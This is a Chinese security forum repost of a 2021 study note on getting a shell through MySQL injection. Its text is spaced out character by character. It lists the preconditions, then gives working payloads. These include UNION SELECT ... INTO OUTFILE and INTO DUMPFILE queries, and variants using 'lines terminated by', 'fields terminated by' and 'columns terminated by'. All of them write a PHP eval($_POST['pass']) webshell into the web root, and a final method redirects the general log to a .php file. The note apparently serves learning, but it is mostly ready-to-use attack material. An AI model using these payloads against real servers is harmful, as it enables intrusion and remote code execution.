搜索

[7594] 2021-05-07_MYSQL注入GETSHELL

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2021-05-07_MYSQL注入GETSHELL M Y S Q L 注 入   G E T S H E L L F 1 2 s e c   2 0 2 1 - 0 5 - 0 7 编 者 荐 语 ： 来 做 笔 记 了 ！ 以 下 文 章 来 源 于 网 络 安 全 学 习   ， 作 者 网 络 安 全 学 习 M Y S Q L 注 入 注 入   G E T S H E L L 看 到 m y s q l 写 s h e l l 的 语 句 有 挺 多 的 ， 学 一 下 记 录 下 来 0 x 0 1   利 用 条 件 利 用 条 件 1 2 3 4 5 1 . m y s q l 用 户 为 r o o t 2 . s e c u r e _ f i l e _ p r i v = 为 空 或 者 在 网 站 根 目 录 下 （ 网 站 根 目 录 为 d : w w w ， s e c u r e _ f i l e _ p r i v = d : 也 可 以 ） 3 . 有 绝 对 路 径 4 . g p c 关 闭 ， 这 个 应 该 是 p h p 的 ， 会 转 义 单 引 号 ， 选 择 路 径 的 时 候 一 定 需 要 单 引 号 5 . 有 c r e a t e , i n s e r t , s e l e c t 权 限 ( 一 般 r o o t 用 户 都 有 吧 . . 感 觉 不 用 特 意 写 出 来 ) 0 x 0 2   写 写 s h e l l 语 句 语 句 1 s h o w   g l o b a l   v a r i a b l e s   l i k e   ' % s e c u r e _ f i l e _ p r i v % ' ;   # 查 看 可 以 写 入 的 位 置 网 上 说 的 有 些 版 本 以 上 默 认 为 空 ， 但 是 不 同 文 章 说 法 不 一 样 ， 最 后 用 p h p s t u d y 测 试 了 一 下 5 . 7 . 2 6 为 n u l l ， 5 . 5 . 2 9 为 空 这 里 用 的 是 5 . 5 . 2 9 版 本 默 认 为 空 ， 可 以 写 入 任 何 地 方 ， 当 然 目 录 需 要 有 写 的 权 限 U N I O N   S E L E C T 最 简 单 的 联 合 查 询 写 入 网 络 安 全 学 习 网 络 安 全 学 习   . 知 白 守 黑 ， 专 注 于 分 享 资 源 ， 网 安 教 学 。 保 持 热 情 ， 欢 迎 咨 询 。
1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = - 1   u n i o n   s e l e c t   1 , 2 , ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > '   i n t o   o u t f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p ' ; 写 入 的 文 件 是 这 样 的 l i n e s   t e r m i n a t e d   b y 1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   i n t o   o u t f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p '   l i n e s   t e r m i n a t e d   b y   ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > ' ; 注 意 这 里 一 定 要 用 一 个 可 以 查 询 到 的 值 ， 不 然 写 文 件 会 为 空 l i n e s   s t a r t i n g   b y 1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   i n t o   o u t f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p '   l i n e s   s t a r t i n g   b y   ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > ' ; f i e l d s   t e r m i n a t e d   b y 1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   i n t o   o u t f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p '   f i e l d s   t e r m i n a t e d   b y   ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > ' ;
C O L U M N S   t e r m i n a t e d   b y 1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   i n t o   o u t f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p '   C O L U M N S   t e r m i n a t e d   b y   ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > ' ; 写 入 文 件 结 果 和 上 面 的 方 法 一 样 0 x 0 3   o u t f i l e 和 和 d u m p f i l e 的 区 别 的 区 别 简 单 的 说 o u t f i l e 写 完 会 有 脏 数 据 ， d u m p f i l e 可 以 做 到 没 有 脏 数 据 ， 所 以 在 写 u d f 的 时 候 是 用 d u m p f i l e 的 上 面 已 经 写 过 o u t f i l e 了 ， 下 面 直 接 演 示 d u m p f i l e 1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = - 1   u n i o n   s e l e c t   ' ' , ' ' , ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > '   i n t o   d u m p f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p ' ; 1 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = 1   u n i o n   s e l e c t   1 , 2 , ' < ? p h p   e v a l ( $ _ P O S T [ ' p a s s ' ] ) ;   ? > '   i n t o   d u m p f i l e   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p ' ; 可 以 看 到 这 个 是 带 着 数 据 的 ， 里 面 有 查 询 出 来 的 数 据 和 自 己 写 的 1 2 ， 所 以 只 要 让 查 询 为 空 ， 然 后 u n i o n   s e l e c t 后 面 接 着 的 数 据 为 空 就 可 以 达 到 干 净 的 文 件 的 效 果 0 x 0 4   日 志 日 志 g e t s h e l l 1 2 3 s h o w   v a r i a b l e s   l i k e   ' % g e n e r a l % ' ; s e t   g l o b a l   g e n e r a l _ l o g   =   o n ;     # 开 启 日 志 s e t   g l o b a l   g e n e r a l _ l o g _ f i l e   =   ' D : p h p s t u d y _ p r o W W W s h e l l . p h p ' ;     # 设 置 日 志 路 径
修 改 好 之 后 是 这 样 的 然 后 执 行 语 句 查 看 日 志 文 件 已 经 将 w e b s h e l l 写 入 网 站 根 目 录 了 0 x 0 5   总 结 总 结 目 录 可 写 都 好 说 ， 目 录 不 可 写 很 多 方 法 就 不 行 了 往 期 推 荐 渗 透 工 具 包 3 . 5 （ 配 置 好 附 教 程 ） 反 序 列 化 命 令 执 行 复 现 ( v u l h u b : C V E - 2 0 1 6 - 4 4 3 7 ) 蚁 剑 流 量 分 析 （ p h p ） 渗 透 工 具 ： M e t a s p l o i t 教 程 - w i n d o w s 渗 透

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理